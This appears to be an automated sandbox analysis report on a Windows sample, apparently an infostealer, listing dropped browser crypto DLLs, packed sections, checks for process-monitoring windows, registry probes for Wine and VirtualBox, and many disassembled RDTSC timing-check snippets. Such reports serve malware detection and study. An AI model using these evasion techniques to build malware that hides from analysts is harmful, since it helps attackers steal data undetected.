Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: twbahnth
Source: file.exe	Static PE information: section name: ahateppd
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53B536 push ecx; ret

0_2_6C53B549

Source: file.exe

Static PE information: section name: twbahnth entropy: 7.9536824312472065

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5655F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5655F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEAD5 second address: 7BEB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 jmp 00007FAA34DB19C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FAA34DB19B6h 0x00000016 jmp 00007FAA34DB19C9h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB15 second address: 7BEB19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB19 second address: 7BEB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDB83 second address: 7BDB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDFB9 second address: 7BDFC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE272 second address: 7BE27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE27E second address: 7BE284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE3DF second address: 7BE3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAA34ECFF56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C137A second address: 7C1384 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAA34DB19B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1384 second address: 7C138A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C138A second address: 7C138E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C14A2 second address: 7C14AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1507 second address: 7C151E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007FAA34DB19B6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FAA34DB19BCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C151E second address: 7C1522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1522 second address: 7C15DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, 1D64C47Eh 0x0000000f xor dword ptr [ebp+122D1856h], ecx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FAA34DB19B8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edx, dword ptr [ebp+122D38EFh] 0x00000037 movsx edi, di 0x0000003a mov cl, 33h 0x0000003c push 08AC9DFBh 0x00000041 jmp 00007FAA34DB19BDh 0x00000046 xor dword ptr [esp], 08AC9D7Bh 0x0000004d mov dword ptr [ebp+122D18BEh], ecx 0x00000053 push 00000003h 0x00000055 mov edi, dword ptr [ebp+122D1C23h] 0x0000005b mov ecx, dword ptr [ebp+122D1F3Ah] 0x00000061 push 00000000h 0x00000063 push 00000000h 0x00000065 push ecx 0x00000066 call 00007FAA34DB19B8h 0x0000006b pop ecx 0x0000006c mov dword ptr [esp+04h], ecx 0x00000070 add dword ptr [esp+04h], 00000018h 0x00000078 inc ecx 0x00000079 push ecx 0x0000007a ret 0x0000007b pop ecx 0x0000007c ret 0x0000007d mov ecx, dword ptr [ebp+122D3847h] 0x00000083 push 00000003h 0x00000085 movsx edx, bx 0x00000088 call 00007FAA34DB19B9h 0x0000008d push edi 0x0000008e jc 00007FAA34DB19BCh 0x00000094 push eax 0x00000095 push edx 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFE9F second address: 7DFEB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA34ECFF5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFEB0 second address: 7DFEB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFEB9 second address: 7DFED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAA34ECFF56h 0x0000000a jns 00007FAA34ECFF56h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push esi 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0196 second address: 7E019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E05C8 second address: 7E0610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FAA34ECFF5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAA34ECFF68h 0x00000010 jmp 00007FAA34ECFF5Fh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edi 0x0000001a pop edi 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 popad 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0610 second address: 7E0628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0628 second address: 7E0636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAA34ECFF56h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E07B0 second address: 7E07C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnp 00007FAA34DB19B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E07C0 second address: 7E07CA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA34ECFF56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E07CA second address: 7E07CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0E6A second address: 7E0E70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0E70 second address: 7E0E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0E79 second address: 7E0EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAA34ECFF61h 0x0000000c jmp 00007FAA34ECFF69h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1CFA second address: 7E1D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1D00 second address: 7E1D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4CF5 second address: 7E4D0F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAA34DB19B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jbe 00007FAA34DB19B6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jg 00007FAA34DB19B6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4D0F second address: 7E4D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF60h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4D24 second address: 7E4D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79F48E second address: 79F49E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAA34ECFF5Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79F49E second address: 79F4E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FAA34DB19B6h 0x0000000b jmp 00007FAA34DB19C0h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 js 00007FAA34DB19B6h 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push edi 0x00000020 pushad 0x00000021 jmp 00007FAA34DB19BBh 0x00000026 jmp 00007FAA34DB19C2h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B87EE second address: 7B87F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B87F4 second address: 7B87F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B87F8 second address: 7B87FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F082F second address: 7F0838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0B30 second address: 7F0B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1191 second address: 7F1196 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F32F7 second address: 7F32FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F339C second address: 7F33A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F33A0 second address: 7F33AE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAA34ECFF56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3589 second address: 7F358E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F358E second address: 7F359E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F359E second address: 7F35A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F35A2 second address: 7F35AC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAA34ECFF56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F40DF second address: 7F40E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F40E3 second address: 7F40E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F40E9 second address: 7F40EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F40EF second address: 7F40F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4196 second address: 7F41AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FAA34DB19B6h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F41AB second address: 7F41B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 je 00007FAA34ECFF56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F51DC second address: 7F51E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F593C second address: 7F594B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA34ECFF5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6CDE second address: 7F6CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6CE2 second address: 7F6CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FAA34ECFF56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6CF0 second address: 7F6CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6CF4 second address: 7F6D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6D00 second address: 7F6D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6D06 second address: 7F6D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7846 second address: 7F785A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19BFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F785A second address: 7F7860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F95DE second address: 7F95E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F95E4 second address: 7F95F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA15A second address: 7FA175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD53E second address: 7FD542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC72A second address: 7FC72F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA175 second address: 7FA17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD542 second address: 7FD57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D183Eh] 0x00000010 push 00000000h 0x00000012 adc edi, 39498F79h 0x00000018 push 00000000h 0x0000001a jmp 00007FAA34DB19BEh 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FAA34DB19BEh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA17B second address: 7FA180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD57E second address: 7FD583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE4E4 second address: 7FE4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD6F1 second address: 7FD6F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE4E8 second address: 7FE4EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD6F5 second address: 7FD6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE68D second address: 7FE692 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE692 second address: 7FE698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5367 second address: 7B536B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
